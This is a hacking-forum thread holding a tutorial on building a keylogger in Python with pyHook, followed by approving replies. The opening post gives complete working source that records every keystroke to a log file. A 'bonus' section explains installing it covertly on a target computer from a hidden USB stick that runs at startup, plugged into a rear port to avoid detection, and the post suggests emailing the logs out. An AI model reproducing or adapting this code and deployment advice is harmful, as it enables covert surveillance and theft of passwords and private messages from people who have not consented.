[Greg8Tacos]

How To Make a Full Keylogger In Python

Hello all, this is my first tut so sorry if it is not formatted well

What You Need

- Python 3 (I am using 3.6)
- pywin32 module (Get it Here for 64 bit python)
- pywin32 module (Get it here you need to install with pip)
- Computer
- Brain

Make the logging bit

First install both modules. If you get errors then keep reading.

Next we need the code, this is basic logger code to capture key strokes and dump them in a text file
In the python shell click file, then new, then type:

Code

import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\important\\LogFile.txt"
x = time.ctime()
with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )


def OnKeyboardEvent(event):
    global x

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")
        
    else :
        with open(date, "a") as f:
            f.write(event.Key)
        
        
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Now let's break it down so you understand what it does if, you're a python pro (don't know why you'd be reading this tut but) then you can skip this.

Code

import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\LogFile.txt"
x = time.ctime()

First we import our modules in line 1
Then we set "date" to the file path, this can be any location, or you can set the path to the location of the file by just putting "LogFile.txt" with no path (this works best for usb sticks more on this later). Last we set x to the current time for logging purposes.

Code

with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )

This just makes it nice and formatted with the date and all that. It will put the date the program is launched not when each key is typed.

Code

def OnKeyboardEvent(event):
    global x

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")

This section is for formatting in the log, you can add more if you want. Instead of the log showing the key code for backspace it will show "{Bkspc}".

Code

else :
        with open(date, "a") as f:
            f.write(event.Key)

    return True

This writes the key strokes to the log then exits the function.

Code

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

This last bit captures the keys typed and sends then to the previously mentioned function.

But I got errors!

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If you run the code but get and error, try the following check the syntax you can copy and past it to be sure.

If the code is correct make sure you have the pywin32 and pyhook modules installed, you should see the uninstall applications in your python folder (most likely: C:\Users\[your name]\AppData\Local\Programs\Python\Python36).
Note: if you installed them with pip you will not see the applications.

If the error persists then do the following:
Open the python shell
Type (no quotes) "import pyHook"
If you get an error, try reinstalling pyHook making sure you have the correct version for your version of python.
Next try (no quotes) "import pythoncom"
If you get a very large error that ends in some thing like "pythoncom is not a valid file..."
then you're in for a dozy.
go to your python folder (see above) then go to:
"\Lib\site-packages\pywin32_system32"
you should find two .dll files, copy these to:
"\Lib\site-packages\win32\lib"
restart the shell then try again.

If you are getting a different error then google the error message.




Ok, as it is this keylogger is not to bad, but needs some help.
A great addition is emailing the log to you're email, allowing you to get keystrokes without having to go back to the computer, BUT HF blocks the email code so you will have to do it yourself (I know there are workarounds, but I'm lazy so 😁)
Email docs here

Please add your own functions and let me know, Ill be happy to add them to the thread and credit you!

Make keylogger run from usb

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bonus tut:
There are countless usb keyloggers for sale online, buy you can make one for free using our keylogger code. There are no code changes, however you need to do some work on the usb its self.
First plug in usb and run python installer, choose custom install and install on usb.
Then install the needed python modules (pywin32, pyHook) on usb as well.
Copy script to usb make sure that "date" is set to "LogFile.txt"
(Optional) setup usb to be invisible from explorer (google).

Now plugin usb to target pc, set up to run the logger on startup (again google).
then leave it. This works best if you plugin to back usb port to avoid detection.




Thanks for reading my tutorial on making a keylogger in python this is my first tut so, leave suggestions below.
I spent a long time making this so please let me know if you liked it.
Is there are other tuts you would like, please pm me or post below.

Credit: Me for the tut and some code, internet for rest.

[Malicious Intent]

Python is not the best choice for keylogger due to its dependencies but you did take a time to write it so i guess thanks for share. I myself wrote a similar logger in python just coz i needed something fast and reliable. I have to say that pyhook works really well and it can intercept virtual keyboard too like in team viewer session and alike.

[Greg8Tacos]

Python is not the best choice for keylogger due to its dependencies but you did take a time to write it so i guess thanks for share. I myself wrote a similar logger in python just coz i needed something fast and reliable. I have to say that pyhook works really well and it can intercept virtual keyboard too like in team viewer session and alike.

Yes I wanted to do it with no dependence but sadly could not. I chose python because it's easy to learn.

[llama77]

Thanks for sharing I have been looking to make my own keylogger in python 3, most I found were in 2

[Greg8Tacos]

Thanks for sharing I have been looking to make my own keylogger in python 3, most I found were in 2

Glad it helped!

[FlowersHavePower]

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[Admi]

I have wanted to start learning Python...I think this will give me some motivation to start.

I hate having to ask for help; I thought I downloaded the correct pywin version for my 64 bit Python. Am I missing something?

I have python-3.6.0-amd64.exe installed

I downloaded pywin32-220.win-amd64-py.3.6.exe

Cannot install: Python version 3.6-32 required, which was not found in the registry


Thank you for making this tut...looking forward to hearing back.

[Greg8Tacos]

I have wanted to start learning Python...I think this will give me some motivation to start.

I hate having to ask for help; I thought I downloaded the correct pywin version for my 64 bit Python. Am I missing something?

I have python-3.6.0-amd64.exe installed

I downloaded pywin32-220.win-amd64-py.3.6.exe

Cannot install: Python version 3.6-32 required, which was not found in the registry


Thank you for making this tut...looking forward to hearing back.

HI this happened to me as well. Get the regular one and it should work! Hope this clears it up!

[Angel]

Nice tutorial,i'll try it later .
thanks 🤝

[Greg8Tacos]

Nice tutorial,i'll try it later .
thanks 🤝

Glad I could help!

[sh4cl0n3]

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[Greg8Tacos]

No problem, glad it worked well for you!

This shit is perfect bro thanks for share 🤭🤭🤭

[Lunatiick]

Thanks for the share, just what i was after.
Can i PM you a question about python?

[Greg8Tacos]

Thanks for the share, just what i was after.
Can i PM you a question about python?

Sure ask away, or you can post in the thread.

[C_System32]

Thanks for the share mate!